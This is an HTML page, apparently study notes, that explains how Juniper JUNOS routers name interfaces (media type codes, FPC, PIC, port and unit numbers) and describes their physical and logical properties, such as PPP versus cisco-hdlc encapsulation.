<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">fpc</span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The physical slot in the chassis where the interface is located</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">pic</span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The slot on the FPC that contains the interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">port</span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The location on the PIC where the interface port is located</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">unit</span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The logical portion of the interface that contains properties, such as an IP address </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Media Types</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The media type portion of the interface name allows the JUNOS software to identify each physical interface. The two-letter representation relates closely to the actual type of interface used.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">ae</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Aggregated Ethernet interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">as</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Aggregated SONET/SDH interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">at</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Asynchronous Transfer Mode (ATM) interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">ds</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">DS0 interface (including Multichannelized DS-3 interfaces)</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">e1</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">E1 interface (including Channelized STM-1 to E1 interfaces)</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">e3</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">E3 interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">es</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Encryption interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">fe</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Fast Ethernet interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Media Types</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">fxp</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Management and Internal Ethernet interfaces</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">ge</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Gigabit Ethernet interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">gr</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Generic Route Encapsulation tunnel interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">ip</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">IP-over-IP encapsulation tunnel interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">lo</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Loopback interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">so</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">SONET/SDH interface</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">t1</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">T1 interface (including Channelized DS-3)</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">t3</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">T3 interface (including Channelized OC-12 interfaces)</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">FPC Slot Numbers</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The FPC slots in a Juniper Networks router begin at 0. Each router model contains a specific number of slots that range from 1 to 8. The slot number is printed directly on the router chassis. Figure below shows the FPC slots on the M40, M40e, M160, T320, and T640 platforms. These are numbered 0 through 7 in a left-to-right fashion. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">FPC Slot Numbers</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Four-slot chassis</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"></span></strong><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: center;" align="center"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span><strong>FPC Slot Numbers</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The remaining router platforms, M5 and M10, share the same chassis platform, with each model supporting a different number of slots. The M5 has a single slot, numbered 0, while theM10 has two slots, numbered 0 and 1. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">M5 and M10 chassis platforms</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"></span></strong><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">PIC Slot Numbers</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">PIC slot numbers also begin at 0 and have a maximum value of 3. They are physically printed on the FPC and represent the location of the PIC on the FPC module. The numbering schemefollows the physical layout of the Juniper Networks platforms. The vertical FPC slots use the same numbering, while the horizontal slots use a different one. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">PIC slot numbering</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">PIC Port Numbers</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The physical media cable in your network (for example, Ethernet or SONET) actually connects to a port on the PIC. These ports are also numbered and represent a portion of the interface naming structure. The number of ports on a PIC varies, as does the numbering pattern on the PIC itself. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">PIC port numbering</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Logical Unit and Channel Numbers</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The logical unit portion of the interface name corresponds to unit number assigned within the interface configuration hierarchy. This value is a number in the range of 0 to 16384. Interfaces within the JUNOS software always contain a logical configuration, so some value is always present in the naming scheme.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Some physical interfaces use a channel number instead of a unit number to represent their logical configuration. For example, a nonconcatenated (that is, channelized) SONET/SDH OC-48interface has four OC-12 channels, numbered 0 through 3. A channelized OC-12 interface has 12 DS-3 channels, numbered 0 through 11. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Interface Naming Examples</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Suppose a router has two OC-3 PICs in slots 0 and 1 on an FPC in slot 1. Each of the PICs contains two ports. The names of these interfaces are: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">so-1/0/0.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">so-1/0/1.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">so-1/1/0.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">so-1/1/1.0</span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Interface Properties</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Interfaces in the JUNOS software contain both physical and logical properties. The actual media type (such as Ethernet or SONET) often determines the physical properties of the interface. An interface’s logical properties represent the Layer 3 routing and Layer 2 transmission parameters needed to operate the interface in a network.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Physical Properties</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Each interface in the router inherits certain default values for its physical properties. When the JUNOS software activates an interface, it assigns these values.<span style="mso-spacerun: yes;">  </span><strong></strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"></span></strong><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Interface Properties</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"></span></strong><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: center;" align="center"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Connecting to another Vendor’s Router</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The physical interface defaults do not always match</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">the operational parameters of another vendor. The default encapsulation type for a SONET link within the JUNOS software is the <em>Point to- Point Protocol (PPP)</em>. A Cisco Systems router, on the other hand, uses a Cisco proprietary format of the <em>High-Level Data Link Control (HDLC) </em>protocol. The JUNOS software supports this HDLC format on point-to-point interfaces using the keyword <strong><em>cisco-hdlc.</em></strong> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Logical Properties</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Each and every interface within the JUNOS software requires at least one logical interface, called a <em>unit</em>. This is where all addressing and protocol information is configured. Some physical encapsulations allow only a single logical unit. PPP and Cisco-HDLC fall into this category. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Logical interfaces, such as the loopback, and non-VLAN Ethernet also provide for only one logical unit. In both situations, the logical interface is assigned a unit value of 0. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Multiple logical interface units are often used in ATM, Frame Relay, and VLAN tagged Ethernet networks. In these cases, each logical unit is assigned a Virtual Circuit Identifier (VCI), Data-Link Connection Identifier (DLCI), or Virtual Local Area Network (VLAN) number, respectively. </span></span></p>
